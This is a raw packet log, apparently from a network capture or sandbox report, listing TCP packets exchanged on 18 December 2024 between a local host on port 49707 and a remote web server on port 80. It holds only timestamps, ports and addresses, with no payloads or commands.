Dec 18, 2024 14:07:45.023173094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.023204088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.023217916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.023899078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.024070978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.024142981 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.024765015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.081527948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.116465092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.116636992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.116734028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.116878033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.117198944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.117211103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.117264032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.118077040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.118235111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.118289948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.118907928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.118921041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.118958950 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.119556904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.119606018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.119699001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.120367050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.120417118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.120417118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.121265888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.121651888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.121705055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.122045994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.122210979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.122262001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.122874975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.122925997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.123014927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.123735905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.123749018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.123790979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.124476910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.124906063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.124955893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.125428915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.125741959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.125785112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.126096010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.126151085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.126219034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.127026081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.127090931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.184468031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.184484005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.184568882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.184927940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.185017109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.185081959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.185630083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.185883045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.185935974 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.186043978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.187165022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.187220097 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.187243938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.187571049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.187582970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.187638998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.188381910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.188395023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.188442945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.189377069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.189538956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.189589024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.189647913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.189693928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.190282106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.190376043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.190421104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.191203117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.191216946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.191263914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.191965103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.192070007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.192120075 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.192765951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.192965984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.193011045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.193617105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.193814993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.194648027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.194669962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.194700003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.194716930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.195523024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.195609093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.195653915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.197060108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.197109938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.197160959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.197688103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.197743893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.198055029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.198101044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.198172092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.198820114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.198833942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.198869944 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.198884010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.199419975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.199529886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.199580908 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.200257063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.200335979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.200422049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.201049089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.201189041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.201241016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.201829910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.202085972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.202630997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.202647924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.202683926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.202697992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.203455925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.203617096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.203668118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.204401016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.204601049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.204648972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.205189943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.205229044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.205276966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.205966949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.205980062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.206037045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.206928968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.207156897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.207788944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.207845926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.207889080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.208622932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.208673954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.208703995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.208750010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.209367990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.209516048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.209568024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.210258007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.210315943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.210366011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.211307049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.211405039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.211877108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.211927891 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.211951017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.212568045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.212618113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.212657928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.213517904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.213550091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.213567972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.213587046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.214273930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.214324951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.214375019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.215372086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.215384960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.215432882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.215962887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.216140032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.216686964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.216746092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.308813095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.308837891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.308969975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.309169054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.309240103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.309334993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.309987068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.310101032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.310936928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.310998917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.311032057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.311676025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.311767101 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.311788082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.311836004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.312463045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.312572956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.312623024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.313312054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.313381910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.313436031 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.314090014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.314148903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.314970970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.315020084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.315068960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.315784931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.315834045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.315860987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.315900087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.316601038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.316832066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.316884995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.317425966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.317569971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.317620039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.318316936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.318331003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.318387985 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.319042921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.362730026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.377609968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.377625942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.377712011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.377748966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.377825975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.377873898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.378093958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.378143072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.378191948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.378618956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.378787994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.378834963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.379118919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.379522085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.379575968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.379599094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.379858017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.379868984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.379898071 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.380496025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.380650043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.380705118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.381248951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.381510019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.381522894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.381558895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.381599903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.382369995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.382384062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.382612944 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.383147001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.383272886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.383573055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.384047985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.384155035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.384273052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.384785891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.385103941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.385229111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.385657072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.385715961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.385787010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.386501074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.386518002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.386569977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.387218952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.387357950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.387440920 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.388138056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.388151884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.388192892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.388931036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.389219999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.389275074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.389705896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.389781952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.389836073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.390573025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.390642881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.390698910 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.391369104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.391516924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.391572952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.392303944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.392316103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.392362118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.393021107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.393049002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.393100023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.393959045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.393970966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.394017935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.394651890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.394834995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.394891977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.395551920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.395670891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.395720005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.396325111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.396447897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.396625996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.397177935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.397366047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.397413969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.398153067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.398168087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.398224115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.399096966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.399209976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.399291992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.399936914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.400116920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.400165081 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.400489092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.400531054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.400579929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.401376009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.401390076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.401454926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.402093887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.402211905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.402266026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.402967930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.403067112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.403127909 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.403803110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.403995037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.404053926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.404735088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.404860020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.404916048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.405464888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.405477047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.405524969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.406225920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.406371117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.406959057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.407037973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.407159090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.407207966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.407934904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.408230066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.408277035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.408971071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.456456900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.500737906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.500803947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.500860929 CET	49707	80	192.168.2.8	176.113.115.178
